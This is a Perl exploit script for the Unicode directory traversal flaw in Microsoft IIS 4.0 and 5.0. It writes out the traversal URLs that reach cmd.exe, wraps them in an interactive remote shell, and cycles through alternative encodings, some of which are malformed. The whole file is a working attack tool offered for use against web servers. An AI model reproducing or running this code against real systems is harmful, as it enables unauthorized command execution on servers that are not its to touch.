#!/usr/bin/perl

# Unicode Exploit for Microsoft IIS versions 4.0 and 5.0
# Works on almost all systems running IIS
# After a successful unicode fault has been found by the program
# It runs that one each time a command is given
# Also has randomized finding of unicode faults if it is not one listed

# Copyright 2001 Philip Walls
# Under the terms of the GNU General Public License v2.0 or any later at your option
# See http://www.gnu.org for full license agreement before using

# ./unicode --help

use LWP::UserAgent;

my %unienv;
my $command;
my $target;
my $script;
my $unicode;
my $cmdexe;
my $last;
my $page;


if (!$ARGV[0]) { &usage; }
elsif ($ARGV[0] =~ /\-s/i) { &usage; }
elsif ($ARGV[0] =~ /\-h/i) {
   print "\nUsage: $0 [target] [command] <scriptdir> <unicode> <pathtocmd>\n";
   print "Only first two arguments are required\n\n";
   print "Required arguments:\n";
   print "[target]  IP or name address of target web server\n";
   print "[command] Command to execute on remote host\n\n";
   print "Optional arguments:\n";
   print "<scriptdir> Directory on web server with exec permissions\n";
   print "<unicode>   Invalid unicode to use\n";
   print "<pathtocmd> CMD.exe location\n\n";
   print "Flag arguments:\n";
   print "-s, --shell [Use shell interface]\n";
   print "-h, --help  [Display this information]\n\n";
}
else {
   $target = $ARGV[0];
   $command = $ARGV[1];
   $script = $ARGV[2];
   if (!$ARGV[2]) { $script = "scripts"; }
   $unicode = $ARGV[3];
   if (!$ARGV[3]) { $unicode = "\%c0\%af"; }
   $cmdexe = $ARGV[4];
   if (!$ARGV[4]) { $cmdexe = "winnt/system32/cmd.exe"; }
   if (!$ARGV[1]) {
      print "\nSession started with $target\n(no connection has been initiated yet)\n\n";
      &again;
   }
   else { run($target, $script, $unicode, $cmdexe, $command); }
}

sub usage {
   print "\n                       [Unicode Shell v1.9]\n";
   print "[ First two commands are required for correct funtionality.       ]\n";
   print "[ After first command has been executed, if you would like to     ]\n[ send the same command again, simply press enter at the prompt.  ]\n";
   print "[ Directory on the remote machine is not cached in any way, so    ]\n[ commands not in the path must be executed with the full path to ]\n[ the file. Type !help for advanced commands.                     ]\n\n";

   print "Type target IP: ";
   $target = <STDIN>;
   print "Type command to execute: ";
   $command = <STDIN>;
   print "Type script directory (enter for default): ";
   $script = <STDIN>;
   print "Type unicode (enter for autocode): ";
   $unicode = <STDIN>;
   print "Type path to cmd.exe (enter for default): ";
   $cmdexe = <STDIN>;

   if ($script eq "\n") { $script = "scripts"; }
   if ($unicode eq "\n") { $unicode = "\%c0\%af"; }
   if ($cmdexe eq "\n") { $cmdexe = "winnt/system32/cmd.exe"; }
   chomp($script, $unicode, $cmdexe, $target, $command);

   if ($command ne "") { run($target, $script, $unicode, $cmdexe, $command); }
   else { &again; }
}

sub run {
   $_[4] =~ s/ /\+/g;
   $page = "http\:\/\/$_[0]\/$_[1]\/\.\.$_[2]\.\.\/\.\.$_[2]\.\.\/\.\.$_[2]\.\.\/\.\.$_[2]\.\.\/$_[3]\?/c\+$_[4]";
   $ua = new LWP::UserAgent;
   $ua->agent("Mozilla/4.0 (compatible; MSIE 5.0; Win32)");
   my $req = new HTTP::Request POST => $page;
   $req->content_type('application/x-www-form-urlencoded');
   $req->content('match=www&errors=0');
   print "\nAccessing: $page\n\n";
   my $res = $ua->request($req);
   if ($res->is_success) {
      $content = $res->content;
      print "$content\n";

   }
   else {
      print "Page could not be found: $page\n\n";
      print "Type !unicode to generate another unicode.\n";
      print "Or type !help for other possible solutions.\n\n";
   }
   &again;
}

sub autocode {
   if ($unicode eq "\%c1\%9c") { $unicode = "\%c1\%pc"; }
   elsif ($unicode eq "\%c1\%8s") { $unicode = "\%c1\%9c"; }
   elsif ($unicode eq "\%c0\%qf") { $unicode = "\%c1\%8s"; }
   elsif ($unicode eq "\%c0\%9v") { $unicode = "\%c0\%qf"; }
   elsif ($unicode eq "\%c1\%1c") { $unicode = "\%c0\%9v"; }
   elsif ($unicode eq "\%c0\%af") { $unicode = "\%c1\%1c"; }
   else { &random; }
   print "Generated next possible unicode string.\n\n";
   &again;
}

sub again {
   print "Type a command: ";
   if ($command !~ /^\!/ && $command !~ /^\n$/) { $last = $command; }
   $command = <STDIN>;
   chomp($command);
   if ($command eq "") { $command = $last; }
   if ($command =~ /^\!/) { localparse($command); }
   else { run($target, $script, $unicode, $cmdexe, $command); }
}

sub random {
   @unicode1 = ("c1","c0");
   @unicode2 = ("9c","8s","qf","af","9v","1c","pc");

   $unicode = "\%$unicode1[rand(@unicode1)]" . "\%$unicode2[rand(@unicode2)]";
}

sub localparse {
   $local = $_[0];
   $local =~ s/^\!//;
   if ($local =~ / /) {
      @local = split(/ /g, $local);
      if ($local[0] =~ /^var$/i) {
         if ($unienv{$local[1]}) {
            $unienv{$local[1]} = $local[2];
         }
      }
   }
   else {
      if ($local =~ /^help$/i) {
         print "\n";
         print "!help    [Display this information]\n";
         print "!unicode [Generate new unicode]\n";
         print "!var*    [Set program ENV variables]\n";
         print "!reset   [Reset the program and ask for info again]\n\n";
         print "Commands followed by a * require arguments.\n\n";
      }
      elsif ($local =~ /^reset$/i) {
         &usage;
      }
      elsif ($local =~ /^unicode$/i) {
         &autocode;
      }
      else {
         print "\nSorry, that command is not recognized, type !help for command list.\n\n";
      }
   }
   &again;
}

